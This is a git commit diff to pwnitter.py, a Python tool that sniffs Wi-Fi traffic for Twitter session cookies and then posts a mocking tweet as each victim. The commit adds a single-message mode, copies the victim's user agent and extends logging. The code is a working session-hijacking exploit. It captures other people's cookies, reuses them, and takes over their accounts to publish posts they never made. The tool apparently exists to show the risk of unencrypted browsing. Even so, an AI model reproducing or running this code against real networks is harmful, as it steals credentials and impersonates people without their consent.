Tried to fix the Hashbang and Scratchbox issue by putting Perl into the Scratchbox...
[pwnitter] / pwnitter.py
index 551a2f7..a007b0b 100755 (executable)
@@ -14,6 +14,7 @@ import time
 import gobject
 import select
 import subprocess
+import urllib2
 
 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
 
@@ -24,12 +25,13 @@ def usage():
 NAME = 'de.cryptobitch.muelli.Pwnitter'
 
 class Pwnitter(dbus.service.Object):
-    def __init__(self, bus, object_name, device='mon0'):
+    def __init__(self, bus, object_name, device='mon0', run_once_only=False):
         super(Pwnitter, self).__init__(bus, object_name)
         self.device = device
         
         self.status = status
         self.is_running = False
+        self.run_once_only = run_once_only
 
     def setup_monitor(device='mon0'):
         # FIXME: Replace hardcoded interface 
@@ -116,28 +118,37 @@ class Pwnitter(dbus.service.Object):
 
             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
             if hostMatches:
-                log.debug('Host matched')
                 host = hostMatches.group(1)
-
+                log.debug('Host matched %s', host)
+                
+                user_agent_matches = re.search('User-Agent: ([^\n]+)', data)
+                if user_agent_matches:
+                    user_agent = user_agent_matches.group(1)
+                    log.debug('Found UserAgent: %s', user_agent)
+                else:
+                    user_agent = "Mozilla/5.0"
+                
                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
                 log.debug('CookieMatches? %r', cookieMatches)
+                
                 if cookieMatches:
                     cookie = cookieMatches.group(1)
                     log.debug('yummie Cookie %r', cookie)
 
                     headers = {
-                        "User-Agent": "Mozilla/5.0",
+                        "User-Agent": user_agent,
                         "Cookie": cookie,
                     }
                     
-                    conn = httplib.HTTPSConnection(host)
                     try:
-                        conn.request("GET", "/", None, headers)
+                        page = urllib2.urlopen("https://%s/" % host).read()
                     except socket.error, e:
                         log.error(e)
                     else:
-                        response = conn.getresponse()
-                        page = response.read()
+                        log.debug('Connected to host %s', host)
+                        #log.debug("%s", page)
+                        if '''<p id="signup-btn"><a href="/signup" id="signup_submit"''' in page:
+                            log.info('Login in Page :-(')
 
                         # Newtwitter and Oldtwitter have different formatting, so be lax
                         authToken = ''
@@ -161,8 +172,8 @@ class Pwnitter(dbus.service.Object):
 
 
                         # We don't want to repeatedly spam people
-                        # FIXME: What the fuck logic. Please clean up
-                        if not ((not name and host != 'mobile.twitter.com') or name in processed):
+                        # Also proceed if we didn't find a name but are on the mobile page
+                        if  not (name in processed)   or   ((not name) and host == 'mobile.twitter.com'):
                             headers = {
                                 "User-Agent": "Mozilla/5.0",
                                 "Accept": "application/json, text/javascript, */*",
@@ -175,6 +186,8 @@ class Pwnitter(dbus.service.Object):
 
 
                             log.debug('Issueing connection')
+                            if self.run_once_only: # If we wanted to run once only, we make it stop now
+                                self.is_running = False
                             if host == 'mobile.twitter.com':
 
                                 params = urllib.urlencode({
@@ -206,17 +219,21 @@ class Pwnitter(dbus.service.Object):
                                 # 403 is a dupe tweet
                                 if response.status != 403:
                                     log.info("Successfully tweeted as %s", name)
+
                                     if tweeted_callback:
                                         tweeted_callback(name)
                                 else:
                                     log.info('Already tweeted as %s', name)
+                                log.debug("%s, %s", response.status, response.reason)
+                                log.debug("%s", response.read())                            
 
                             else:
 
                                 log.error("FAILED to tweet as %s, debug follows:", name)
                                 log.error("%s, %s", response.status, response.reason)
                                 log.error("%s", response.read())
-        return self.is_running # Execute next time, we're idle
+
+        return self.is_running # Execute next time, we're idle or stop if we wanted to run once and have processed a message successfully
     # FIXME: Ideally, check    whether Pcap has got data for us
 
 def main():
@@ -240,6 +257,9 @@ if __name__ == '__main__':
     parser.add_option("-s", "--session", dest="use_session_bus",
                       action="store_true", default=False,
                       help="Bind Pwnitter to the SessionBus instead of the SystemBus")
+    parser.add_option("-1", "--single", dest="run_once_only",
+                      action="store_true", default=False,
+                      help="Make it send a single message only")
     (options, args) = parser.parse_args()
     loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
                 'warn': logging.WARN, 'error': logging.ERROR,
@@ -255,7 +275,7 @@ if __name__ == '__main__':
     else:
         session_bus = dbus.SystemBus()
     name = dbus.service.BusName(NAME, session_bus)
-    pwnitter = Pwnitter(session_bus, '/Pwnitter')
+    pwnitter = Pwnitter(session_bus, '/Pwnitter', run_once_only=options.run_once_only)
     #object.Start()
 
     loop = gobject.MainLoop()